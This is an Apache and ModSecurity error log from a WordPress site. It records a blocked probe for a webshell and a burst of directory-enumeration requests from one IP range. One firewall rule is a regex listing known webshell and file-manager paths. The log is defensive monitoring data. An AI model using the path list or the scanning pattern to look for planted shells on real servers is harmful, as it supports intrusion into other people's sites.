[Mon Apr 20 18:51:21.869195 2026] [:error] [pid 11350:tid 11369] [client 91.245.210.195:45484] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeYFKf4EoMBgOJuJnT1p4QAAAAo"]
[Mon Apr 20 19:31:07.489497 2026] [:error] [pid 11350:tid 11360] [client 89.251.0.62:33793] [client 89.251.0.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeYOe_4EoMBgOJuJnT2GRwAAAAE"]
[Mon Apr 20 19:31:20.266912 2026] [autoindex:error] [pid 6928:tid 6935] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:24.059307 2026] [autoindex:error] [pid 6928:tid 6931] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:35.206131 2026] [autoindex:error] [pid 6928:tid 6945] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:36.969764 2026] [autoindex:error] [pid 6928:tid 6930] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:42.207223 2026] [autoindex:error] [pid 6928:tid 6949] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:42.442575 2026] [autoindex:error] [pid 6928:tid 6942] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:42.673345 2026] [autoindex:error] [pid 6928:tid 6934] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:46.296910 2026] [autoindex:error] [pid 6928:tid 6943] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:46.518804 2026] [autoindex:error] [pid 6928:tid 6950] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:47.698954 2026] [autoindex:error] [pid 6928:tid 6932] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:47.924295 2026] [autoindex:error] [pid 6928:tid 6948] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:48.170053 2026] [autoindex:error] [pid 6928:tid 6952] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:48.628457 2026] [autoindex:error] [pid 6928:tid 6945] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:48.897687 2026] [autoindex:error] [pid 6928:tid 6938] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:49.139940 2026] [autoindex:error] [pid 6928:tid 6953] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:53.470273 2026] [autoindex:error] [pid 6928:tid 6936] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:53.698595 2026] [autoindex:error] [pid 6928:tid 6931] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:53.918894 2026] [autoindex:error] [pid 6928:tid 6949] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:54.174860 2026] [autoindex:error] [pid 6928:tid 6942] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:54.395047 2026] [autoindex:error] [pid 6928:tid 6934] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:54.636600 2026] [autoindex:error] [pid 6928:tid 6939] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:56.559710 2026] [autoindex:error] [pid 6928:tid 6941] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:31:56.919865 2026] [autoindex:error] [pid 6928:tid 6937] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:01.934383 2026] [autoindex:error] [pid 6928:tid 6950] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:05.227360 2026] [autoindex:error] [pid 6928:tid 6952] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:05.789202 2026] [autoindex:error] [pid 6928:tid 6938] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:09.836701 2026] [autoindex:error] [pid 6928:tid 6941] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:10.066320 2026] [autoindex:error] [pid 6928:tid 6937] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:14.395962 2026] [autoindex:error] [pid 6928:tid 6933] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:16.062367 2026] [autoindex:error] [pid 6928:tid 6938] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:17.566897 2026] [autoindex:error] [pid 6928:tid 6935] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:19.093887 2026] [autoindex:error] [pid 6928:tid 6936] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:19.308414 2026] [autoindex:error] [pid 6928:tid 6931] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:19.523609 2026] [autoindex:error] [pid 6928:tid 6942] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:22.599129 2026] [autoindex:error] [pid 6928:tid 6939] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:25.386716 2026] [autoindex:error] [pid 6928:tid 6948] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:25.605614 2026] [autoindex:error] [pid 6928:tid 6950] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:29.807354 2026] [autoindex:error] [pid 6928:tid 6936] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:31.421103 2026] [autoindex:error] [pid 6928:tid 6942] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:34.264957 2026] [autoindex:error] [pid 6928:tid 6946] [client 89.251.0.42:37097] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:37.110467 2026] [autoindex:error] [pid 6928:tid 6932] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:37.339560 2026] [autoindex:error] [pid 6928:tid 6944] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:37.569069 2026] [autoindex:error] [pid 6928:tid 6952] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:37.800976 2026] [autoindex:error] [pid 6928:tid 6938] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:38.074645 2026] [autoindex:error] [pid 6928:tid 6933] [client 89.251.0.42:37097] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:46.983889 2026] [autoindex:error] [pid 11351:tid 11404] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:47.202628 2026] [autoindex:error] [pid 11351:tid 11391] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:47.419710 2026] [autoindex:error] [pid 11351:tid 11402] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:47.635766 2026] [autoindex:error] [pid 11351:tid 11396] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:47.907472 2026] [autoindex:error] [pid 11351:tid 11398] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:52.791213 2026] [autoindex:error] [pid 11351:tid 11403] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:54.134252 2026] [autoindex:error] [pid 11351:tid 11411] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:54.353378 2026] [autoindex:error] [pid 11351:tid 11401] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:54.577693 2026] [autoindex:error] [pid 11351:tid 11397] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:54.812657 2026] [autoindex:error] [pid 11351:tid 11388] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
